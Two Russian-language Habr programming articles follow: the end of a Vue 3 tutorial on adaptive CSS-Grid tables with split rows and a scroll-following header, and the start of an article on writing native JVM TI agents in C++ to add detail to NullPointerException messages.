разделение на подстроки происходит как раз по этим колонкам (“2 columns” на рисунке), то в компактном представлении нужно будет ее дублировать на разделяемые строки</p></li><li><p>Если после разделения подстроки в последней строке окажется меньше ячеек, чем в предыдущих (“last column” на рисунке), то нужно будет ее растянуть на необходимое количество ячеек</p></li></ol><p>Приступим. Я <a href="https://github.com/v-khakimov/table-adaptive-article/blob/master/src/store-constant/table-data.js" rel="noopener noreferrer nofollow">изменил данные</a> в ‘./store-constant/table-data.js’ и <a href="https://github.com/v-khakimov/table-adaptive-article/blob/master/src/store-variables/table-props.js" rel="noopener noreferrer nofollow">чуть подправил</a> их трансформацию в props в ‘’./store-variables/table-props.js”, чтобы в таблице было много ячеек. Кнопка “Estate” в выборе типа кузова получила название “Many Columns”. При таком выборе “Retail” и “incl. VAT” отображают 7 колонок в cells, отличие в шапке колонок (headCols): в “Retail” первая строка этой шапки “Version” занимает всю часть таблицы (cols: 7), в случае “incl. VAT” первая часть headcols — составная, но в каждой ячейке тоже есть объединение колонок. При выборе “+ Manufacturers” — 13 колонок.</p><p>В первую очередь нам нужно определить, на какое количество подстрок будут делиться строки в cells, если они не умещаются по ширине окна браузера. Для этого нам нужно знать общее количество колонок в cells. Мы уже рассчитываем этот показатель в setColsNumber, передавая туда аж три аргумента. Мне это перестало нравится, поэтому я заведу отдельные вычисляемые переменные, отвечающие за количество колонок, и избавлюсь от refColsNumber и setColsNumber:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-first-row-length.js
import { computed, ref } from 'vue';
const countCollsNum = (row) =>
row.reduce((sum, { cols }) => sum + (cols || 1), 0);
const refPropsTitlesFirstRowLength = ref(0);
const getPropsTitlesFirstRowLength = computed(
() => refPropsTitlesFirstRowLength.value
);
const setPropsTitlesFirstRowLength = (row0) => {
refPropsTitlesFirstRowLength.value = countCollsNum(row0);
};
const refPropsCellsFirstRowLength = ref(0);
const getPropsCellsFirstRowLength = computed(
() => refPropsCellsFirstRowLength.value
);
const setPropsCellsFirstRowLength = (row0) => {
refPropsCellsFirstRowLength.value = countCollsNum(row0);
};
export {
getPropsTitlesFirstRowLength,
setPropsTitlesFirstRowLength,
getPropsCellsFirstRowLength,
setPropsCellsFirstRowLength,
};
// ./components/CommonTableAdaptive/TableTemplate.vue
// удалить setColsNumber в строке
// import { getColsNumber, setColsNumber } from './computed-cols-number';
import { getColsNumber } from './computed-cols-number';
// добавить
import {
setPropsTitlesFirstRowLength,
setPropsCellsFirstRowLength,
} from './computed-first-row-length';
setPropsTitlesFirstRowLength(props.titles[0]);
watch(() => props.titles[0], setPropsTitlesFirstRowLength);
setPropsCellsFirstRowLength(props.cells[0]);
watch(() => props.cells[0], setPropsCellsFirstRowLength);
// удалить
import { isTableWide } from './computed-table-wide';
setColsNumber([props.titles[0], props.cells[0], isTableWide.value]);
watch(
() => [props.titles[0], props.cells[0], isTableWide.value],
setColsNumber
);
// ./components/CommonTableAdaptive/computed-cols-number.js
import { computed } from 'vue';
import {
getPropsCellsFirstRowLength,
getPropsTitlesFirstRowLength,
} from './computed-first-row-length';
import { isTableWide } from './computed-table-wide';
const getColsNumber = computed(() => {
let colsNumber = getPropsCellsFirstRowLength.value;
if (isTableWide.value) {
colsNumber += getPropsTitlesFirstRowLength.value;
}
return colsNumber;
});
export { getColsNumber };</code></pre><p>Заведем вычисляемую переменную RowsSplitter:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-rows-splitter.js
import { computed, ref } from 'vue';
const refRowsSplitter = ref(1);
const getRowsSplitter = computed(() => refRowsSplitter.value);
const setRowsSplitter = (num) => {
refRowsSplitter.value = num;
};
export { getRowsSplitter, setRowsSplitter };</code></pre><p>И изменим функцию watchTableWidthWithArg:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/watch-table-width.js
import { setRowsSplitter } from './computed-rows-splitter';
import { getPropsCellsFirstRowLength } from './computed-first-row-length';
import { isTableWide, switchTableWide } from './computed-table-wide';
let clientWidthOld;
const watchTableWidth = (domSection, changeProps) => {
const { clientWidth } = document.documentElement;
if (changeProps || clientWidth !== clientWidthOld) {
clientWidthOld = clientWidth;
setRowsSplitter(1);
if (!isTableWide.value) switchTableWide();
setTimeout(() => {
if (domSection && domSection.offsetWidth > clientWidth) {
switchTableWide();
setTimeout(() => {
if (domSection && domSection.offsetWidth > clientWidth) {
setRowsSplitter(seekRowsSplitter(domSection, clientWidth));
}
}, 0);
}
}, 0);
}
};
export { watchTableWidth };
// ./components/CommonTableAdaptive/TableTemplate.vue
// удалить
import { watchTableWidthWithArg } from './watch-table-width';
const watchTableWidth = () => {
watchTableWidthWithArg(domSection.value);
};
onMounted(watchTableWidth);
window.addEventListener('resize', watchTableWidth);
// добавить
import { watchTableWidth } from './watch-table-width';
onMounted(() => {
watchTableWidth(domSection.value);
});
window.addEventListener('resize', () => {
watchTableWidth(domSection.value);
});
watch(
() => [props.titles[0], props.cells[0]],
() => {
watchTableWidth(domSection.value, 'changeProps');
}
);</code></pre><p>Мы переименовали функцию watchTableWidth и добавили к ней аргумент changeProps - чтобы вызывать ее не только при событии <code>window.onresize</code>, но и при изменении кол-ва ячеек в cells или titles. При срабатывании функции мы добавили резет вычисляемой RowsSplitter (<code>setRowsSplitter(1)</code>). Затем, после того, как мы убедились, что нум нужно переключить refTableWide в положение false (т.е. делаем таблицу адаптивной), мы запускаем еще одну нулевую задержку через setTimeout, и проверяем, умещается ли наша уже адаптивная таблица в экран браузера по ширине. Если не умещается - надо разбивать строки sells на подстроки, и нужно высчитать и записать количество этих подстрок (<code>setRowsSplitter(seekRowsSplitter(domSection, clientWidth));</code>).</p><p>Займемся функцией seekRowsSplitter. Чтобы начать разбираться с шириной таблицы и шириной ячеек cells, вспомним, что она состоит из оборачивающего тега <section>, ячеек шапки таблицы <h6> и ячеек titles и cells, у которых тег <p>. Причем у ячеек titles, когда таблица уже адаптивная, CSS-свойство “grid-column-end” равно “span N”, где N - общее количество ячеек cells. Напишем функцию, которая определяет, сколько колонок объединяет ячейка, уже являющаяся dom-элементом:</p><pre><code class="javascript">// добавить в ./components/CommonTableAdaptive/watch-table-width.js
const seekCols = (el) => {
const { gridColumnEnd } = getComputedStyle(el);
let cols = 1;
if (gridColumnEnd.startsWith('span ')) {
cols = Number(gridColumnEnd.slice(5));
}
return cols;
};</code></pre><p>Теперь нам нужна функция, которая найдет все ширины колонок в cells, которые тоже стали dom-элементами:</p><pre><code class="javascript">// добавить в ./components/CommonTableAdaptive/watch-table-width.js
import { getPropsCellsFirstRowLength } from './computed-first-row-length';
const seekCellsWidths = ({ children }) => {
const widths = [];
widths.length = getPropsCellsFirstRowLength.value;
let leftFirst;
let iCol = -1;
Array.from(children)
.filter(({ tagName }) => tagName === 'P')
.filter((child) => seekCols(child) !== getPropsCellsFirstRowLength.value)
.find((child) => {
const { left, width } = child.getBoundingClientRect();
if (leftFirst === undefined) leftFirst = left;
const cols = seekCols(child);
if (iCol === getPropsCellsFirstRowLength.value - 1) iCol = 0;
else iCol += cols;
if (cols === 1) widths[iCol] = width;
return !widths.includes(undefined);
});
return widths.map((w) => Math.round(w));
};</code></pre><p>Функция seekCellsWidths принимает набор dom-элементов <section> таблицы. Мы заводим массив widths длиной, равной количеству ячеек cells (это количество знает computed переменная getPropsCellsFirstRowLength). Задача — получить полностью заполненный массив widths, элементами которого будут являться ширины колонок cells.</p><p>Преобразуем набор детей dom-элементов <section> в массив, и отфильтруем его: уберем все ячейки шапки таблицы (у этих dom-ячеек <code>tagName !== 'P'</code>) и все ячейки titles (у этих ячеек объединенное кол-во столбцов равно кол-ву столбцов cells, т.е. <code>seekCols(child) === getPropsCellsFirstRowLength.value</code>).</p><p>Итоговый массив, в котором остались только ячейки из cells, будем проходить до тех пор, пока полностью не заполним массив widths. Добавляем в этот массив только ширину ячейки, которая занимает только одну колонку (функция seekCols выдает 1). Индекс для добавления элемента высчитываем через счетчик iCol, который увеличивается на кол-во колонок, который занимает предыдущая ячейка, и который обнуляется, если его значение вырастает до общей длины колонок за минусом единицы.</p><p>Мы знаем ширины всех колонок cells, и теперь можем посчитать, на сколько подстрок нужно разделить каждую строку cells:</p><pre><code class="javascript">// добавить в ./components/CommonTableAdaptive/watch-table-width.js
const seekRowsSplitter = (domSection, clientWidth) => {
const widths = seekCellsWidths(domSection);
const matrix = [[]];
widths.forEach((width) => {
if (
matrix[matrix.length - 1].reduce((sum, w) => sum + w, 0) + width >
clientWidth
) {
matrix.push([]);
}
matrix[matrix.length - 1].push(width);
});
return matrix.length;
};</code></pre><p>В функции seekRowsSplitter заводим массив matrix, который будет состоять из подстрок. В новую (последнюю в массиве) подстроку добавляем ячейку с известной шириной из widths до тех пор, пока эта подстрока умещается в широину экрана, или сумма ширин элементов этой подстроки <= window.clientWidth. Если больше — заводим новую подстроку. В результате мы получаем то, что нужно: длина массива matrix — и есть количество подстрок, на которую нужно разделить каждую строку cells.</p><p>Изменим вычисляемую переменную, отвечающую за кол-во колонок таблицы:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-cols-number.js
import { computed } from 'vue';
import {
getPropsCellsFirstRowLength,
getPropsTitlesFirstRowLength,
} from './computed-first-row-length';
import { getRowsSplitter } from './computed-rows-splitter';
import { isTableWide } from './computed-table-wide';
const getColsNumber = computed(() => {
let colsNumber = getPropsCellsFirstRowLength.value;
if (isTableWide.value) {
colsNumber += getPropsTitlesFirstRowLength.value;
} else if (getRowsSplitter.value > 1) {
colsNumber = Math.ceil(colsNumber / getRowsSplitter.value);
}
return colsNumber;
});
export { getColsNumber };</code></pre><p>Мы добавили условие (которое выполняется при !isTableWide.value): если нужно строки cells делить на подстроки, то общее количество колонок делится на кол-во этих подстрок с округлением в большую сторону.</p><p>Осталось совсем немного — разделить cells на подстроки. Напишем функцию splitRows:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/split-rows.js
import { getColsNumber } from './computed-cols-number';
const splitRows = (rowsOld) => {
const rowsNew = [];
let countCol;
rowsOld.forEach((row) => {
countCol = 0;
row.forEach((cellExt, iCol) => {
if (countCol === 0) {
rowsNew.push([]);
}
const cell = { ...cellExt };
let { cols } = cell;
rowsNew[rowsNew.length - 1].push(cell);
countCol += cols ? cols : 1;
if (countCol === getColsNumber.value) countCol = 0;
});
});
return rowsNew;
};
export { splitRows };</code></pre><p>Пока эта функция достаточно проста: массив rowsNew состоит из строк, длина которых не больше getColsNumber, а в getColsNumber мы уже учитываем количество подстрок getRowsSplitter. Каждую ячейку мы добавляем в конец последней строки в rowsNew. Счетчик countCol с каждой ячейкой растет либо на единицу, если эта ячейка не объединена с другими, либо на cols ячейки-объекта. Как только счетчик вырастает до количества колонок getColsNumber, счетчик обнуляется, и заводится новая строка в rowsNew.</p><p>Но есть две проблемы, которые обозначены в начале этой главы, и даже нарисованы (см. в последнем изображении “2 columns” и “last column”. Решим эти проблемы:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/split-rows.js
// добавить перед строкой rowsNew[rowsNew.length - 1].push(cell);
while (cols && cols + countCol > getColsNumber.value) {
const colsDouble = getColsNumber.value - countCol;
const cellDouble = { ...cell };
if (cellDouble.cols === 1) delete cellDouble.cols;
else cellDouble.cols = colsDouble;
rowsNew[rowsNew.length - 1].push(cellDouble);
rowsNew.push([]);
cols -= colsDouble;
if (cols === 1) {
cols = undefined;
delete cell.cols;
} else {
cell.cols = cols;
}
countCol = 0;
}</code></pre><p>Повторюсь — ячейка в конец последней строки rowsNew добавляется до тех пор, пока счетчик countCol не равен количеству колонок в таблице getColsNumber.value, иначе заводится новая строка в rowsNew и счетчик обнуляется. Если же нам нужно добавить ячейку, у которой есть cols, и <code>cols + countCol > getColsNumber.value</code> — значит эта ячейка, которая занимает несколько колонок, находится на стыке разрыва строк, и ее нужно дублировать, что и происходит в цикле while.</p><p>Теперь представим пример: у cell — 7 колонок. На маленьком экране помещается только 4. Каждая строка cell делится на две подстроки, в первой — 4 ячейки, во второй — три. Поскольку у нас табличное представление, надо последнюю ячейку второй строки растянуть на две. Добавим код в функцию, который будет делать подобное:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/split-rows.js
// добавить перед строкой rowsNew[rowsNew.length - 1].push(cell);
if (iCol === row.length - 1) {
let colsRest = getColsNumber.value - countCol - (cols ? cols : 1);
if (colsRest) {
if (cols) cell.cols += colsRest;
else cell.cols = colsRest + 1;
}
}</code></pre><p>Отлично, теперь функция splitRows разбивает каждую строку cells на подстроки, если строки не умещаются целиком на экране. Изменим код в модуле, который трансформирует ячейки из sells:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
// добавить
import { getRowsSplitter } from './computed-rows-splitter';
import { splitRows } from './split-rows';
// изменить функцию seekTableCells
const seekTableCells = (propsTitlesExt, propsCellsExt) => {
let propsTitles = transformCellsToObject(propsTitlesExt);
let propsCells = transformCellsToObject(propsCellsExt);
if (!isTableWide.value) {
propsTitles = transformCellsWithoutRows(propsTitles);
propsCells = transformCellsWithoutRows(propsCells);
if (getRowsSplitter.value > 1) {
propsCells = splitRows(propsCells);
}
}
const cells = [];
propsCells.forEach((row, iRow) => {
if (iRow % getRowsSplitter.value === 0) {
cells.push(...addTitleCells(propsTitles, iRow / getRowsSplitter.value));
}
cells.push(...addOtherCells(row, iRow, propsCells.length));
});
return cells;
};</code></pre><p>Применим написанную функцию и к шапке ячеек:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-cols.js
// добавить
import { getColsNumber } from './computed-cols-number';
import { getRowsSplitter } from './computed-rows-splitter';
import { splitRows } from './split-rows';
const transformRowsThroughOne = (rows) => {
const rowsNew = [];
for (let i = 0; i < rows.length / 2; i += 1) {
rowsNew.push(rows[i], rows[rows.length / 2 + i]);
}
return rowsNew;
};
// добавить в функцию addRowsToHead перед строкой let cells = [];
if (rows && !isTableWide.value && getRowsSplitter.value > 1) {
let firstRowAllCols;
if (rows.length > 1 && rows[0].length === 1) {
firstRowAllCols = rows.shift();
firstRowAllCols[0].cols = getColsNumber.value;
}
rows = splitRows(rows);
if (rows.length > 1) rows = transformRowsThroughOne(rows);
if (firstRowAllCols) rows.unshift(firstRowAllCols);
}</code></pre><p>Если у нас адаптивная таблица (!isTableWide.value) и есть разделение строк на подстроки (getRowsSplitter.value > 1), мы смотрим на первую строку шапки. Если она состоит всего из одной ячейки (т.е. растягивается на все колонки в cells), мы ее временно удаляем из шапки, заодно присваивая ей cols, равное количеству колонок с учетом getRowsSplitter. Оставшиеся строки шапки преобразуем также, как и cells до этого. Однако теперь нам нужно раскидать строки через одну, что и делает функция transformRowsThroughOne. Ну и если мы нашли строку с одной ячейкой, прикрепляем ее к шапке обратно.</p><p>Все работает как надо:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/eb7/c9d/786/eb7c9d786dbafcf90831ae34fc807233.png" width="1560" height="1133" data-src="https://habrastorage.org/getpro/habr/upload\_files/eb7/c9d/786/eb7c9d786dbafcf90831ae34fc807233.png"/><figcaption></figcaption></figure><p>Коммит “Many Columns”</p><p>Таблицы с небольшим количеством ячеек в cells выглядят неплохо, однако чем больше ячеек — тем массивнее шапка, и тем хуже сравнивать данные. Большого количества ячеек следует избегать, но случаи разные бывают. Добавим последний штрих, улучшающий восприятие какой угодно по размеру таблицы.</p><h2>Движущаяся шапка адаптивной таблицы</h2><p>В CSS-Grid есть хорошее свойство, которое сделает нашу таблицу более приятной для глаз — “grid-row-start”. Добавим прибавление этого свойства в функцию transformCellToTemplate, которая подготавливает ячейки-объекты для <template>:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/transform-rows-to-template.js
// изменить первую строку внутри функции transformCellToTemplate
// было
const { text, cols, rows, cellType, clAdd } = cell;
// стало
const { text, cols, rows, indent, cellType, clAdd } = cell;
// добавить после строки 'if (rows) st += `grid-row-end: span ${rows};`;'
if (indent) st += `grid-row-start: ${indent + 1};`;</code></pre><p>Создадим вычисляемую переменную HeadIndent:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-head-indent.js
import { computed, ref } from 'vue';
const refHeadIndent = ref(0);
const getHeadIndent = computed(() => refHeadIndent.value);
let topMin;
const setHeadIndentFromDom = (domSection, propsCellsColsLength) => {
if (domSection) {
const { top, height } = domSection.getBoundingClientRect();
if (!topMin) topMin = top;
const topMax = window.innerHeight - height;
let prc = (topMin - top) / (topMin - topMax);
if (prc > 1) prc = 1;
else if (prc < 0) prc = 0;
prc = Math.round(prc \* (propsCellsColsLength - 1));
refHeadIndent.value = prc;
}
};
const resetIndent = () => {
refHeadIndent.value = 0;
topMin = undefined;
};
export { getHeadIndent, resetIndent, setHeadIndentFromDom };</code></pre><p>Функция setHeadIndentFromDom принимает dom-элемент <section> — оборачивающий тег нашей таблицы, и количество строк в cells из props. Когда таблица только загрузилась в dom-дерево, мы можем вычислить высоту <section> относительно окна браузера. Это условный 0%, начало таблицы (topMin). 100% (topMax) — когда нижняя граница таблицы видна в окне браузера. Зная topMin и topMax и текущий top относительно окна браузера при скролле, мы можем рассчитать, на сколько процентов таблица поднялась вверх. А зная количество строк в cells, мы можем определить, к какой строке cells подвинуть шапку таблицы при скролле.</p><p>Импортируем созданное:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/watch-table-width.js
// добавить
import { resetIndent, setHeadIndentFromDom } from './computed-head-indent';
// изменить функцию watchTableWidth
const watchTableWidth = (domSection, propsCellsColsLength, changeProps) => {
const { clientWidth } = document.documentElement;
if (changeProps || clientWidth !== clientWidthOld) {
clientWidthOld = clientWidth;
setRowsSplitter(1);
resetIndent();
if (!isTableWide.value) switchTableWide();
setTimeout(() => {
if (domSection && domSection.offsetWidth > clientWidth) {
switchTableWide();
setTimeout(() => {
if (domSection && domSection.offsetWidth > clientWidth) {
setRowsSplitter(seekRowsSplitter(domSection, clientWidth));
}
setHeadIndentFromDom(domSection, propsCellsColsLength);
}, 0);
}
}, 0);
}
};
// ./components/CommonTableAdaptive/TableTemplate.vue
// добавить
import { setHeadIndentFromDom } from './computed-head-indent';
// трижды добавить 2-й аргумент props.cells.length в функцию watchTableWidth
onMounted(() => {
watchTableWidth(domSection.value, props.cells.length);
});
window.addEventListener('resize', () => {
watchTableWidth(domSection.value, props.cells.length);
});
watch(
() => [props.titles[0], props.cells[0]],
() => {
watchTableWidth(domSection.value, props.cells.length, 'changeProps');
}
);
// добавить перед закрывающим тегом
window.addEventListener('scroll', () => {
setHeadIndentFromDom(domSection.value, props.cells.length);
});
```
Создадим функцию addHeadIndent:
```
// ./components/CommonTableAdaptive/add-head-indent.js
import { getHeadIndent } from './computed-head-indent';
import { getRowsSplitter } from './computed-rows-splitter';
const addHeadIndent = (rows, titlesLength, throughOne) => {
let countRow = 0;
return rows.map((row, iRow) => {
const rowNew = row.map((cell) => ({
...cell,
indent:
countRow +
1 +
titlesLength +
getHeadIndent.value * (1 + getRowsSplitter.value),
}));
countRow += throughOne && iRow >= 1 && iRow % 2 ? 2 : 1;
return rowNew;
});
};
export { addHeadIndent };
```
Эта функция будет добавлять к ячейкам шапки ключ indent с необходимым значением. Проследив на видео ниже за поведением шапки таблицы,станет понятно, что эта функция делает. Импортируем ее в функции, которые работают с ячейками шапки:
```
// ./components/CommonTableAdaptive/seek-head-titles.js
// добавить
import { addHeadIndent } from './add-head-indent';
import { getHeadIndent } from './computed-head-indent';
// добавить перед закрывающим '}'
// внутри 'else if (rows && !isTableWide.value)'
if (getHeadIndent.value > 0) {
rows = addHeadIndent(rows, -1);
}
// ./components/CommonTableAdaptive/seek-head-cols.js
// добавить
import { addHeadIndent } from './add-head-indent';
// внутри функции seekHeadCols:
// добавить после строки 'let rows;'
let throughOne;
// изменить строку, было:
if (rows.length > 1) rows = transformRowsThroughOne(rows);
// стало
if (rows.length > 1) {
rows = transformRowsThroughOne(rows);
throughOne = true;
}
// добавить перед строкой 'let cells = [];'
if (rows && !isTableWide.value) {
rows = addHeadIndent(rows, propsHeadTitles.length, throughOne);
}
```
Коммит “Moving Table Header”
Смотреть, что получилось, лучше в движении:
или на [веб-странице](https://khakimov.info/adaptive-table-example/). | https://habr.com/ru/post/680976/ | null | ru | null |
# JVM TI: как сделать плагин для виртуальной машины
Хотели бы вы добавить в JVM какую-нибудь полезную фичу? Теоретически каждый разработчик может внести свой вклад в OpenJDK, однако на практике любые нетривиальные изменения в HotSpot принимают со стороны не очень-то охотно, и даже с текущим укороченным релизным циклом могут пройти годы, прежде чем вашу фичу увидят пользователи JDK.
Тем не менее, в ряде случаев расширить функциональность виртуальной машины реально, даже не трогая её код. В этом помогает JVM Tool Interface — стандартный API для взаимодействия с JVM.
В статье я на конкретных примерах покажу, что можно сделать с его помощью, расскажу, что изменилось в Java 9 и 11, и честно предупрежу о сложностях (спойлер: придётся иметь дело с C++).
Этот материал я также рассказывал на JPoint. Если вам удобнее видео, то можете посмотреть [видеозапись](https://www.youtube.com/watch?v=aiuKiE5-0g4) доклада.
Вступление
----------
Социальная сеть «Одноклассники», где я работаю ведущим инженером, практически полностью написана на Java. Но сегодня я расскажу как раз про другую часть, которая не совсем на Java.
Как известно, самая популярная проблема у Java-разработчиков — NullPointerException. Однажды во время дежурства по порталу я тоже наткнулся на NPE в продакшене. Ошибка сопровождалась примерно таким стек-трейсом:
Разумеется, по стек-трейсу можно проследить место возникновения исключения вплоть до конкретной строчки в коде. Только в данном случае мне легче от этого не стало, потому что здесь NPE может встретиться много где:
Было бы здорово, если бы JVM подсказала, где именно эта ошибка, например, так:
`java.lang.NullPointerException: Called 'getUsers()' method on null object`
Но, к сожалению, сейчас NPE ничего подобного не содержит. Хотя просят об этом давно, как минимум с Java 1.4: [вот этому багу](https://bugs.openjdk.java.net/browse/JDK-4834738) уже 16 лет. Периодически открывались всё новые и новые баги на эту тему, но их неизменно закрывали как «Won't Fix»:
Так происходит не везде. Фолькер Симонис из SAP [рассказывал](https://www.youtube.com/watch?v=IsERHnGn7Vs), как у них в SAP JVM эта фича давно реализована и не раз выручала. Другой сотрудник SAP в очередной раз [засабмиттил](https://bugs.openjdk.java.net/browse/JDK-8218628) баг в OpenJDK и вызвался реализовать механизм, подобный тому, что есть в SAP JVM. И, о чудо, на этот раз баг не закрыли — есть шанс, что эта фича войдёт-таки в JDK 14.
Но когда ещё выйдет JDK 14, и когда мы на неё перейдём? Что делать, если хочется исследовать проблему здесь и сейчас?
Можно, конечно, поддерживать свой форк OpenJDK. Сама фича сообщения об NPE не ахти какая сложная, мы вполне могли бы её реализовать. Но при этом возникнут все проблемы поддержки собственной сборки. Было бы здорово реализовать фичу один раз, а потом к любой версии JVM просто подключать её, как плагин. И такое действительно возможно! В JVM есть специальный API (изначально разработанный для всевозможных отладчиков и профайлеров): JVM Tool Interface.
Cамое важное, что этот API стандартный. У него существует строгая [спецификация](https://docs.oracle.com/en/java/javase/11/docs/specs/jvmti.html), и при реализации фичи в соответствии с ней можно быть уверенным, что она будет работать и в новых версиях JVM.
Чтобы воспользоваться этим интерфейсом, нужно написать небольшую (или большую, смотря какие у вас задачи) программку. Нативную: обычно её пишут на C или C++. В стандартной поставке JDK есть заголовочный файл `jdk/include/jvmti.h`, который требуется подключить.
Компилируется программа в динамическую библиотеку, а подключается параметром `-agentpath` во время старта JVM. Важно не путать его с другим похожим параметром: `-javaagent`. На самом деле Java-агенты — это частный случай JVM TI-агентов. Далее в тексте под словом «агент» подразумевается именно нативный агент.
С чего начать
-------------
Посмотрим на практике, как пишется простейший JVM TI-агент, своего рода «hello world».
```
#include
#include
JNIEXPORT jint JNICALL Agent\_OnLoad(JavaVM\* vm, char\* options, void\* reserved) {
jvmtiEnv\* jvmti;
vm->GetEnv((void\*\*) &jvmti, JVMTI\_VERSION\_1\_0);
char\* vm\_name = NULL;
jvmti->GetSystemProperty("java.vm.name", &vm\_name);
printf("Agent loaded. JVM name = %s\n", vm\_name);
fflush(stdout);
return 0;
}
```
Первой же строчкой я подключаю тот самый заголовочный файл. Дальше идёт главная функция, которую нужно реализовать в агенте: `Agent_OnLoad()`. Её вызывает сама виртуальная машина при загрузке агента, передавая указатель на объект `JavaVM*`.
Используя его, можно получить указатель на JVM TI environment: `jvmtiEnv*`. А через него, в свою очередь, уже вызывать JVM TI-функции. Например, с помощью [GetSystemProperty](https://docs.oracle.com/en/java/javase/11/docs/specs/jvmti.html#GetSystemProperty) прочитать значение системного свойства.
Если теперь я запущу этот «hello world», передав в `-agentpath` скомпилированный dll-файл, то напечатанная нашим агентом строчка появится в консоли ещё до того, как начнёт выполняться Java-программа:
Обогащение NPE
--------------
Поскольку «hello world» — не самый интересный пример, давайте вернёмся к нашим исключениям. Полный код агента, дополняющего сообщения об NPE, есть [на GitHub](https://github.com/odnoklassniki/jvmti-tools/blob/master/richNPE).
Вот как выглядит `Agent_OnLoad()` в том случае, если я хочу попросить виртуальную машину нотифицировать нас о всех возникающих исключениях:
```
JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* vm, char* options, void* reserved) {
jvmtiEnv* jvmti;
vm->GetEnv((void**) &jvmti, JVMTI_VERSION_1_0);
jvmtiCapabilities capabilities = {0};
capabilities.can_generate_exception_events = 1;
jvmti->AddCapabilities(&capabilities);
jvmtiEventCallbacks callbacks = {0};
callbacks.Exception = ExceptionCallback;
jvmti->SetEventCallbacks(&callbacks, sizeof(callbacks));
jvmti->SetEventNotificationMode(JVMTI_ENABLE, JVMTI_EVENT_EXCEPTION, NULL);
return 0;
}
```
Сначала я запрашиваю у JVM TI соответствующую capability (can\_generate\_exception\_events). Про capability ещё поговорим отдельно.
Следующим шагом подписываемся на события Exception. Всякий раз, когда JVM генерирует исключения (не важно, пойманные или нет), будет вызываться наша функция `ExceptionCallback()`.
Последний шаг — вызов `SetEventNotificationMode()`, чтобы включить доставку уведомлений.
**В ExceptionCallback JVM передаёт всё, что нужно нам для обработки исключений.**
```
void JNICALL ExceptionCallback(jvmtiEnv* jvmti, JNIEnv* env, jthread thread,
jmethodID method, jlocation location,
jobject exception,
jmethodID catch_method, jlocation catch_location) {
jclass NullPointerException = env->FindClass("java/lang/NullPointerException");
if (!env->IsInstanceOf(exception, NullPointerException)) {
return;
}
jclass Throwable = env->FindClass("java/lang/Throwable");
jfieldID detailMessage = env->GetFieldID(Throwable, "detailMessage", "Ljava/lang/String;");
if (env->GetObjectField(exception, detailMessage) != NULL) {
return;
}
char buf[32];
sprintf(buf, "at location %id", (int) location);
env->SetObjectField(exception, detailMessage, env->NewStringUTF(buf));
}
```
Здесь есть и объект потока, выкинувшего исключение (thread), и место, где это произошло (method, location), и сам объект исключения (exception), и даже то место в коде, которое поймает это исключение (catch\_method, catch\_location).
Что важно: в этот колбэк, помимо указателя на JVM TI environment, передаётся ещё JNI environment (env). Это значит, что мы можем использовать в нём все функции JNI. То есть JVM TI и JNI прекрасно сосуществуют, дополняя друг друга.
В своём агенте я пользуюсь и тем, и другим. В частности, через JNI проверяю, что мой exception имеет тип `NullPointerException`, а дальше подменяю поле `detailMessage` сообщением об ошибке.
Поскольку нам JVM сама передаёт location — индекс байткода, на котором произошло исключение, то я здесь просто этот location и проставил в сообщение:
Число 66 означает индекс в байткоде, где произошло это исключение. Но анализировать байткод вручную муторно: надо декомпилировать class-файл, искать 66-ю инструкцию, пытаться понять, что она делала… Было бы здорово, если бы наш агент сам мог показать что-то более человекочитабельное.
Впрочем, в JVM TI и на этот случай есть всё, что надо. Правда, придётся запросить дополнительные возможности JVM TI: получать байткод и constant pool метода.
```
jvmtiCapabilities capabilities = {0};
capabilities.can_generate_exception_events = 1;
capabilities.can_get_bytecodes = 1;
capabilities.can_get_constant_pool = 1;
jvmti->AddCapabilities(&capabilities);
```
Теперь расширю ExceptionCallback: через JVM TI-функцию `GetBytecodes()` получу тело метода, чтобы проверить, что же в нём находится по индексу location. Далее идёт большой switch по байткод инструкции: если это обращение к массиву, будет одно сообщение об ошибке, если обращение к полю — другое сообщение, если вызов метода — третье, и так далее.
**Код ExceptionCallback**
```
jint bytecode_count;
u1* bytecodes;
if (jvmti->GetBytecodes(method, &bytecode_count, &bytecodes) != 0) {
return;
}
if (location >= 0 && location < bytecode_count) {
const char* message = get_exception_message(bytecodes[location]);
if (message != NULL) {
...
env->SetObjectField(exception, detailMessage, env->NewStringUTF(buf));
}
}
jvmti->Deallocate(bytecodes);
```
Осталось только подставить название поля или метода. Достать его можно из [constant pool](https://habr.com/ru/post/222519/), который доступен опять же благодаря JVM TI.
```
if (jvmti->GetConstantPool(holder, &cpool_count, &cpool_bytes, &cpool) != 0) {
return strdup("");
}
```
Далее идёт немного магии, но в действительности ничего хитрого, просто в соответствии со [спецификацией](https://docs.oracle.com/javase/specs/jvms/se11/html/jvms-4.html#jvms-4.4) class file format мы анализируем constant pool и оттуда вычленяем строчку — название метода.
**Анализ constant pool**
```
u1* ref = get_cpool_at(cpool, get_u2(bytecodes + 1)); // CONSTANT_Fieldref
u1* name_and_type = get_cpool_at(cpool, get_u2(ref + 3)); // CONSTANT_NameAndType
u1* name = get_cpool_at(cpool, get_u2(name_and_type + 1)); // CONSTANT_Utf8
size_t name_length = get_u2(name + 1);
char* result = (char*) malloc(name_length + 1);
memcpy(result, name + 3, name_length);
result[name_length] = 0;
```
Ещё один важный момент: некоторые JVM TI-функции, например `GetConstantPool()` или `GetBytecodes()`, аллоцируют некую структуру в нативной памяти, которую необходимо освободить по окончании работы с ней.
```
jvmti->Deallocate(cpool);
```
Запустим исходную программу с нашим расширенным агентом, и вот уже совсем другое описание исключения: оно сообщает, что мы вызвали метод longValue() на нулевом объекте.
Другие применения
-----------------
Вообще говоря, разработчики нередко хотят обрабатывать исключения по-своему. Например, автоматически перезапустить JVM, если произошёл `StackOverflowError`.
